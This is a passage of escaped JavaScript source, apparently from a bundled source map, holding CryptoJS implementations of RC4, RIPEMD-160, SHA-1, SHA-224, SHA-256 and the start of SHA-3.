CryptoJS.Rabbit;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./enc-base64\"), require(\"./md5\"), require(\"./evpkdf\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./enc-base64\", \"./md5\", \"./evpkdf\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var StreamCipher = C_lib.StreamCipher;\n\t var C_algo = C.algo;\n\n\t /**\n\t * RC4 stream cipher algorithm.\n\t */\n\t var RC4 = C_algo.RC4 = StreamCipher.extend({\n\t _doReset: function () {\n\t // Shortcuts\n\t var key = this._key;\n\t var keyWords = key.words;\n\t var keySigBytes = key.sigBytes;\n\n\t // Init sbox\n\t var S = this._S = [];\n\t for (var i = 0; i < 256; i++) {\n\t S[i] = i;\n\t }\n\n\t // Key setup\n\t for (var i = 0, j = 0; i < 256; i++) {\n\t var keyByteIndex = i % keySigBytes;\n\t var keyByte = (keyWords[keyByteIndex >>> 2] >>> (24 - (keyByteIndex % 4) * 8)) & 0xff;\n\n\t j = (j + S[i] + keyByte) % 256;\n\n\t // Swap\n\t var t = S[i];\n\t S[i] = S[j];\n\t S[j] = t;\n\t }\n\n\t // Counters\n\t this._i = this._j = 0;\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t M[offset] ^= generateKeystreamWord.call(this);\n\t },\n\n\t keySize: 256/32,\n\n\t ivSize: 0\n\t });\n\n\t function generateKeystreamWord() {\n\t // Shortcuts\n\t var S = this._S;\n\t var i = this._i;\n\t var j = this._j;\n\n\t // Generate keystream word\n\t var keystreamWord = 0;\n\t for (var n = 0; n < 4; n++) {\n\t i = (i + 1) % 256;\n\t j = (j + S[i]) % 256;\n\n\t // Swap\n\t var t = S[i];\n\t S[i] = S[j];\n\t S[j] = t;\n\n\t keystreamWord |= S[(S[i] + S[j]) % 256] << (24 - n * 8);\n\t }\n\n\t // Update counters\n\t this._i = i;\n\t this._j = j;\n\n\t return keystreamWord;\n\t }\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.RC4.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.RC4.decrypt(ciphertext, key, cfg);\n\t */\n\t C.RC4 = StreamCipher._createHelper(RC4);\n\n\t /**\n\t * Modified RC4 stream cipher algorithm.\n\t */\n\t var RC4Drop = C_algo.RC4Drop = RC4.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {number} drop The number of keystream words to drop. Default 192\n\t */\n\t cfg: RC4.cfg.extend({\n\t drop: 192\n\t }),\n\n\t _doReset: function () {\n\t RC4._doReset.call(this);\n\n\t // Drop\n\t for (var i = this.cfg.drop; i > 0; i--) {\n\t generateKeystreamWord.call(this);\n\t }\n\t }\n\t });\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.RC4Drop.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.RC4Drop.decrypt(ciphertext, key, cfg);\n\t */\n\t C.RC4Drop = StreamCipher._createHelper(RC4Drop);\n\t}());\n\n\n\treturn CryptoJS.RC4;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/** @preserve\n\t(c) 2012 by Cédric Mesnil. All rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n\t - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\t - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\t*/\n\n\t(function (Math) {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var Hasher = C_lib.Hasher;\n\t var C_algo = C.algo;\n\n\t // Constants table\n\t var _zl = WordArray.create([\n\t 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n\t 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8,\n\t 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12,\n\t 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2,\n\t 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]);\n\t var _zr = WordArray.create([\n\t 5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12,\n\t 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2,\n\t 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13,\n\t 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14,\n\t 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]);\n\t var _sl = WordArray.create([\n\t 11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8,\n\t 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12,\n\t 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5,\n\t 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12,\n\t 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6 ]);\n\t var _sr = WordArray.create([\n\t 8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6,\n\t 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11,\n\t 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5,\n\t 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8,\n\t 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11 ]);\n\n\t var _hl = WordArray.create([ 0x00000000, 0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xA953FD4E]);\n\t var _hr = WordArray.create([ 0x50A28BE6, 0x5C4DD124, 0x6D703EF3, 0x7A6D76E9, 0x00000000]);\n\n\t /**\n\t * RIPEMD160 hash algorithm.\n\t */\n\t var RIPEMD160 = C_algo.RIPEMD160 = Hasher.extend({\n\t _doReset: function () {\n\t this._hash = WordArray.create([0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0]);\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\n\t // Swap endian\n\t for (var i = 0; i < 16; i++) {\n\t // Shortcuts\n\t var offset_i = offset + i;\n\t var M_offset_i = M[offset_i];\n\n\t // Swap\n\t M[offset_i] = (\n\t (((M_offset_i << 8) | (M_offset_i >>> 24)) & 0x00ff00ff) |\n\t (((M_offset_i << 24) | (M_offset_i >>> 8)) & 0xff00ff00)\n\t );\n\t }\n\t // Shortcut\n\t var H = this._hash.words;\n\t var hl = _hl.words;\n\t var hr = _hr.words;\n\t var zl = _zl.words;\n\t var zr = _zr.words;\n\t var sl = _sl.words;\n\t var sr = _sr.words;\n\n\t // Working variables\n\t var al, bl, cl, dl, el;\n\t var ar, br, cr, dr, er;\n\n\t ar = al = H[0];\n\t br = bl = H[1];\n\t cr = cl = H[2];\n\t dr = dl = H[3];\n\t er = el = H[4];\n\t // Computation\n\t var t;\n\t for (var i = 0; i < 80; i += 1) {\n\t t = (al + M[offset+zl[i]])|0;\n\t if (i<16){\n\t\t t += f1(bl,cl,dl) + hl[0];\n\t } else if (i<32) {\n\t\t t += f2(bl,cl,dl) + hl[1];\n\t } else if (i<48) {\n\t\t t += f3(bl,cl,dl) + hl[2];\n\t } else if (i<64) {\n\t\t t += f4(bl,cl,dl) + hl[3];\n\t } else {// if (i<80) {\n\t\t t += f5(bl,cl,dl) + hl[4];\n\t }\n\t t = t|0;\n\t t = rotl(t,sl[i]);\n\t t = (t+el)|0;\n\t al = el;\n\t el = dl;\n\t dl = rotl(cl, 10);\n\t cl = bl;\n\t bl = t;\n\n\t t = (ar + M[offset+zr[i]])|0;\n\t if (i<16){\n\t\t t += f5(br,cr,dr) + hr[0];\n\t } else if (i<32) {\n\t\t t += f4(br,cr,dr) + hr[1];\n\t } else if (i<48) {\n\t\t t += f3(br,cr,dr) + hr[2];\n\t } else if (i<64) {\n\t\t t += f2(br,cr,dr) + hr[3];\n\t } else {// if (i<80) {\n\t\t t += f1(br,cr,dr) + hr[4];\n\t }\n\t t = t|0;\n\t t = rotl(t,sr[i]) ;\n\t t = (t+er)|0;\n\t ar = er;\n\t er = dr;\n\t dr = rotl(cr, 10);\n\t cr = br;\n\t br = t;\n\t }\n\t // Intermediate hash value\n\t t = (H[1] + cl + dr)|0;\n\t H[1] = (H[2] + dl + er)|0;\n\t H[2] = (H[3] + el + ar)|0;\n\t H[3] = (H[4] + al + br)|0;\n\t H[4] = (H[0] + bl + cr)|0;\n\t H[0] = t;\n\t },\n\n\t _doFinalize: function () {\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\n\t var nBitsTotal = this._nDataBytes * 8;\n\t var nBitsLeft = data.sigBytes * 8;\n\n\t // Add padding\n\t dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = (\n\t (((nBitsTotal << 8) | (nBitsTotal >>> 24)) & 0x00ff00ff) |\n\t (((nBitsTotal << 24) | (nBitsTotal >>> 8)) & 0xff00ff00)\n\t );\n\t data.sigBytes = (dataWords.length + 1) * 4;\n\n\t // Hash final blocks\n\t this._process();\n\n\t // Shortcuts\n\t var hash = this._hash;\n\t var H = hash.words;\n\n\t // Swap endian\n\t for (var i = 0; i < 5; i++) {\n\t // Shortcut\n\t var H_i = H[i];\n\n\t // Swap\n\t H[i] = (((H_i << 8) | (H_i >>> 24)) & 0x00ff00ff) |\n\t (((H_i << 24) | (H_i >>> 8)) & 0xff00ff00);\n\t }\n\n\t // Return final computed hash\n\t return hash;\n\t },\n\n\t clone: function () {\n\t var clone = Hasher.clone.call(this);\n\t clone._hash = this._hash.clone();\n\n\t return clone;\n\t }\n\t });\n\n\n\t function f1(x, y, z) {\n\t return ((x) ^ (y) ^ (z));\n\n\t }\n\n\t function f2(x, y, z) {\n\t return (((x)&(y)) | ((~x)&(z)));\n\t }\n\n\t function f3(x, y, z) {\n\t return (((x) | (~(y))) ^ (z));\n\t }\n\n\t function f4(x, y, z) {\n\t return (((x) & (z)) | ((y)&(~(z))));\n\t }\n\n\t function f5(x, y, z) {\n\t return ((x) ^ ((y) |(~(z))));\n\n\t }\n\n\t function rotl(x,n) {\n\t return (x<>>(32-n));\n\t }\n\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.RIPEMD160('message');\n\t * var hash = CryptoJS.RIPEMD160(wordArray);\n\t */\n\t C.RIPEMD160 = Hasher._createHelper(RIPEMD160);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacRIPEMD160(message, key);\n\t */\n\t C.HmacRIPEMD160 = Hasher._createHmacHelper(RIPEMD160);\n\t}(Math));\n\n\n\treturn CryptoJS.RIPEMD160;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var Hasher = C_lib.Hasher;\n\t var C_algo = C.algo;\n\n\t // Reusable object\n\t var W = [];\n\n\t /**\n\t * SHA-1 hash algorithm.\n\t */\n\t var SHA1 = C_algo.SHA1 = Hasher.extend({\n\t _doReset: function () {\n\t this._hash = new WordArray.init([\n\t 0x67452301, 0xefcdab89,\n\t 0x98badcfe, 0x10325476,\n\t 0xc3d2e1f0\n\t ]);\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcut\n\t var H = this._hash.words;\n\n\t // Working variables\n\t var a = H[0];\n\t var b = H[1];\n\t var c = H[2];\n\t var d = H[3];\n\t var e = H[4];\n\n\t // Computation\n\t for (var i = 0; i < 80; i++) {\n\t if (i < 16) {\n\t W[i] = M[offset + i] | 0;\n\t } else {\n\t var n = W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16];\n\t W[i] = (n << 1) | (n >>> 31);\n\t }\n\n\t var t = ((a << 5) | (a >>> 27)) + e + W[i];\n\t if (i < 20) {\n\t t += ((b & c) | (~b & d)) + 0x5a827999;\n\t } else if (i < 40) {\n\t t += (b ^ c ^ d) + 0x6ed9eba1;\n\t } else if (i < 60) {\n\t t += ((b & c) | (b & d) | (c & d)) - 0x70e44324;\n\t } else /* if (i < 80) */ {\n\t t += (b ^ c ^ d) - 0x359d3e2a;\n\t }\n\n\t e = d;\n\t d = c;\n\t c = (b << 30) | (b >>> 2);\n\t b = a;\n\t a = t;\n\t }\n\n\t // Intermediate hash value\n\t H[0] = (H[0] + a) | 0;\n\t H[1] = (H[1] + b) | 0;\n\t H[2] = (H[2] + c) | 0;\n\t H[3] = (H[3] + d) | 0;\n\t H[4] = (H[4] + e) | 0;\n\t },\n\n\t _doFinalize: function () {\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\n\t var nBitsTotal = this._nDataBytes * 8;\n\t var nBitsLeft = data.sigBytes * 8;\n\n\t // Add padding\n\t dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = Math.floor(nBitsTotal / 0x100000000);\n\t dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = nBitsTotal;\n\t data.sigBytes = dataWords.length * 4;\n\n\t // Hash final blocks\n\t this._process();\n\n\t // Return final computed hash\n\t return this._hash;\n\t },\n\n\t clone: function () {\n\t var clone = Hasher.clone.call(this);\n\t clone._hash = this._hash.clone();\n\n\t return clone;\n\t }\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA1('message');\n\t * var hash = CryptoJS.SHA1(wordArray);\n\t */\n\t C.SHA1 = Hasher._createHelper(SHA1);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA1(message, key);\n\t */\n\t C.HmacSHA1 = Hasher._createHmacHelper(SHA1);\n\t}());\n\n\n\treturn CryptoJS.SHA1;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./sha256\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./sha256\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var C_algo = C.algo;\n\t var SHA256 = C_algo.SHA256;\n\n\t /**\n\t * SHA-224 hash algorithm.\n\t */\n\t var SHA224 = C_algo.SHA224 = SHA256.extend({\n\t _doReset: function () {\n\t this._hash = new WordArray.init([\n\t 0xc1059ed8, 0x367cd507, 0x3070dd17, 0xf70e5939,\n\t 0xffc00b31, 0x68581511, 0x64f98fa7, 0xbefa4fa4\n\t ]);\n\t },\n\n\t _doFinalize: function () {\n\t var hash = SHA256._doFinalize.call(this);\n\n\t hash.sigBytes -= 4;\n\n\t return hash;\n\t }\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA224('message');\n\t * var hash = CryptoJS.SHA224(wordArray);\n\t */\n\t C.SHA224 = SHA256._createHelper(SHA224);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA224(message, key);\n\t */\n\t C.HmacSHA224 = SHA256._createHmacHelper(SHA224);\n\t}());\n\n\n\treturn CryptoJS.SHA224;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function (Math) {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var Hasher = C_lib.Hasher;\n\t var C_algo = C.algo;\n\n\t // Initialization and round constants tables\n\t var H = [];\n\t var K = [];\n\n\t // Compute constants\n\t (function () {\n\t function isPrime(n) {\n\t var sqrtN = Math.sqrt(n);\n\t for (var factor = 2; factor <= sqrtN; factor++) {\n\t if (!(n % factor)) {\n\t return false;\n\t }\n\t }\n\n\t return true;\n\t }\n\n\t function getFractionalBits(n) {\n\t return ((n - (n | 0)) * 0x100000000) | 0;\n\t }\n\n\t var n = 2;\n\t var nPrime = 0;\n\t while (nPrime < 64) {\n\t if (isPrime(n)) {\n\t if (nPrime < 8) {\n\t H[nPrime] = getFractionalBits(Math.pow(n, 1 / 2));\n\t }\n\t K[nPrime] = getFractionalBits(Math.pow(n, 1 / 3));\n\n\t nPrime++;\n\t }\n\n\t n++;\n\t }\n\t }());\n\n\t // Reusable object\n\t var W = [];\n\n\t /**\n\t * SHA-256 hash algorithm.\n\t */\n\t var SHA256 = C_algo.SHA256 = Hasher.extend({\n\t _doReset: function () {\n\t this._hash = new WordArray.init(H.slice(0));\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcut\n\t var H = this._hash.words;\n\n\t // Working variables\n\t var a = H[0];\n\t var b = H[1];\n\t var c = H[2];\n\t var d = H[3];\n\t var e = H[4];\n\t var f = H[5];\n\t var g = H[6];\n\t var h = H[7];\n\n\t // Computation\n\t for (var i = 0; i < 64; i++) {\n\t if (i < 16) {\n\t W[i] = M[offset + i] | 0;\n\t } else {\n\t var gamma0x = W[i - 15];\n\t var gamma0 = ((gamma0x << 25) | (gamma0x >>> 7)) ^\n\t ((gamma0x << 14) | (gamma0x >>> 18)) ^\n\t (gamma0x >>> 3);\n\n\t var gamma1x = W[i - 2];\n\t var gamma1 = ((gamma1x << 15) | (gamma1x >>> 17)) ^\n\t ((gamma1x << 13) | (gamma1x >>> 19)) ^\n\t (gamma1x >>> 10);\n\n\t W[i] = gamma0 + W[i - 7] + gamma1 + W[i - 16];\n\t }\n\n\t var ch = (e & f) ^ (~e & g);\n\t var maj = (a & b) ^ (a & c) ^ (b & c);\n\n\t var sigma0 = ((a << 30) | (a >>> 2)) ^ ((a << 19) | (a >>> 13)) ^ ((a << 10) | (a >>> 22));\n\t var sigma1 = ((e << 26) | (e >>> 6)) ^ ((e << 21) | (e >>> 11)) ^ ((e << 7) | (e >>> 25));\n\n\t var t1 = h + sigma1 + ch + K[i] + W[i];\n\t var t2 = sigma0 + maj;\n\n\t h = g;\n\t g = f;\n\t f = e;\n\t e = (d + t1) | 0;\n\t d = c;\n\t c = b;\n\t b = a;\n\t a = (t1 + t2) | 0;\n\t }\n\n\t // Intermediate hash value\n\t H[0] = (H[0] + a) | 0;\n\t H[1] = (H[1] + b) | 0;\n\t H[2] = (H[2] + c) | 0;\n\t H[3] = (H[3] + d) | 0;\n\t H[4] = (H[4] + e) | 0;\n\t H[5] = (H[5] + f) | 0;\n\t H[6] = (H[6] + g) | 0;\n\t H[7] = (H[7] + h) | 0;\n\t },\n\n\t _doFinalize: function () {\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\n\t var nBitsTotal = this._nDataBytes * 8;\n\t var nBitsLeft = data.sigBytes * 8;\n\n\t // Add padding\n\t dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = Math.floor(nBitsTotal / 0x100000000);\n\t dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = nBitsTotal;\n\t data.sigBytes = dataWords.length * 4;\n\n\t // Hash final blocks\n\t this._process();\n\n\t // Return final computed hash\n\t return this._hash;\n\t },\n\n\t clone: function () {\n\t var clone = Hasher.clone.call(this);\n\t clone._hash = this._hash.clone();\n\n\t return clone;\n\t }\n\t });\n\n\t /**\n\t * Shortcut function to the hasher's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hash = CryptoJS.SHA256('message');\n\t * var hash = CryptoJS.SHA256(wordArray);\n\t */\n\t C.SHA256 = Hasher._createHelper(SHA256);\n\n\t /**\n\t * Shortcut function to the HMAC's object interface.\n\t *\n\t * @param {WordArray|string} message The message to hash.\n\t * @param {WordArray|string} key The secret key.\n\t *\n\t * @return {WordArray} The HMAC.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hmac = CryptoJS.HmacSHA256(message, key);\n\t */\n\t C.HmacSHA256 = Hasher._createHmacHelper(SHA256);\n\t}(Math));\n\n\n\treturn CryptoJS.SHA256;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./x64-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./x64-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function (Math) {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var Hasher = C_lib.Hasher;\n\t var C_x64 = C.x64;\n\t var X64Word = C_x64.Word;\n\t var C_algo = C.algo;\n\n\t // Constants tables\n\t var RHO_OFFSETS = [];\n\t var PI_INDEXES = [];\n\t var ROUND_CONSTANTS = [];\n\n\t // Compute Constants\n\t (function () {\n\t // Compute rho offset constants\n\t var x = 1, y = 0;\n\t for (var t = 0; t < 24; t++) {\n\t RHO_OFFSETS[x + 5 * y] = ((t + 1) * (t + 2) / 2) % 64;\n\n\t var newX = y % 5;\n\t var newY = (2 * x + 3 * y) % 5;\n\t x = newX;\n\t y = newY;\n\t }\n\n\t // Compute pi index constants\n\t for (var x = 0; x < 5; x++) {\n\t for (var y = 0; y < 5; y++) {\n\t PI_INDEXES[x + 5 * y] = y + ((2 * x + 3 * y) % 5) * 5;\n\t }\n\t }\n\n\t // Compute round constants\n\t var LFSR = 0x01;\n\t for (var i = 0; i < 24; i++) {\n\t var roundConstantMsw = 0;\n\t var roundConstantLsw = 0;\n\n\t for (var j = 0; j < 7; j++) {\n\t if (LFSR & 0x01) {\n\t var bitPosition = (1 << j) - 1;\n\t if (bitPosition < 32) {\n\t roundConstantLsw ^= 1 << bitPosition;\n\t } else /* if (bitPosition >= 32) */ {\n\t roundConstantMsw ^= 1 << (bitPosition - 32);\n\t }\n\t }\n\n\t // Compute next LFSR\n\t if (LFSR & 0x80) {\n\t // Primitive polynomial over GF(2): x^8 + x^6 + x^5 + x^4 + 1\n\t LFSR = (LFSR << 1) ^ 0x71;\n\t } else {\n\t LFSR <<= 1;\n\t }\n\t }\n\n\t ROUND_CONSTANTS[i] = X64Word.create(roundConstantMsw, roundConstantLsw);\n\t }\n\t }());\n\n\t // Reusable objects for temporary values\n\t var T = [];\n\t (function () {\n\t for (var i = 0; i < 25; i++) {\n\t T[i] = X64Word.create();\n\t }\n\t }());\n\n\t /**\n\t * SHA-3 hash algorithm.\n\t */\n\t var SHA3 = C_algo.SHA3 = Hasher.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {number} outputLength\n\t * The desired number of bits in the output hash.\n\t * Only values permitted are: 224, 256, 384, 512.\n\t * Default: 512\n\t */\n\t cfg: Hasher.cfg.extend({\n\t outputLength: 512\n\t }),\n\n\t _doReset: function () {\n\t var state = this._state = []\n\t for (var i = 0; i < 25; i++) {\n\t state[i] = new X64Word.init();\n\t }\n\n\t this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32;\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcuts\n\t var state = this._state;\n\t var nBlockSizeLanes = this.blockSize / 2;\n\n\t // Absorb\n\t for (var i = 0; i < nBlockSizeLanes; i++) {\n\t // Shortcuts\n\t var M2i = M[offset + 2 * i];\n\t var M2i1 = M[offset + 2 * i + 1];\n\n\t // Swap endian\n\t M2i = (\n\t (((M2i << 8) | (M2i >>> 24)) & 0x00ff00ff) |\n\t (((M2i << 24) | (M2i >>> 8)) & 0xff00ff00)\n\t );\n\t M2i1 = (\n\t (((M2i1 << 8) | (M2i1 >>> 24)) & 0x00ff00ff) |\n\t (((M2i1 << 24) | (M2i1 >>> 8)) & 0xff00ff00)\n\t );\n\n\t // Absorb message into state\n\t var lane = state[i];\n\t lane.high ^= M2i1;\n\t lane.low ^= M2i;\n\t }\n\n\t // Rounds\n\t for (var round = 0; round < 24; round++) {\n\t // Theta\n\t for (var x = 0; x < 5; x++) {\n\t // Mix column lanes\n\t var tMsw = 0, tLsw = 0;\n\t for (var y = 0; y < 5; y++) {\n\t var lane = state[x + 5 * y];\n\t tMsw ^= lane.high;\n\t tLsw ^= lane.low;\n\t }\n\n\t // Temporary values\n\t var Tx = T[x];\n\t Tx.high = tMsw;\n\t Tx.low = tLsw;\n\t }\n\t for (var x = 0; x < 5; x++) {\n\t // Shortcuts\n\t var Tx4 = T[(x + 4) % 5];\n\t var Tx1 = T[(x + 1) % 5];\n\t var Tx1Msw = Tx1.high;\n\t var Tx1Lsw = Tx1.low;\n\n\t // Mix surrounding columns\n\t var tMsw = Tx4.high ^ ((Tx1Msw << 1) | (Tx1Lsw >>> 31));\n\t var tLsw = Tx4.low ^ ((Tx1Lsw << 1) | (Tx1Msw >>> 31));\n\t for (var y = 0; y < 5; y++) {\n\t var lane = state[x + 5 * y];\n\t lane.high ^= tMsw;\n\t lane.low ^= tLsw;\n\t }\n\t }\n\n\t // Rho Pi\n\t for (var laneIndex = 1; laneIndex < 25; laneIndex++) {\n\t var tMsw;\n\t var tLsw;\n\n\t // Shortcuts\n\t var lane = state[laneIndex];\n\t var 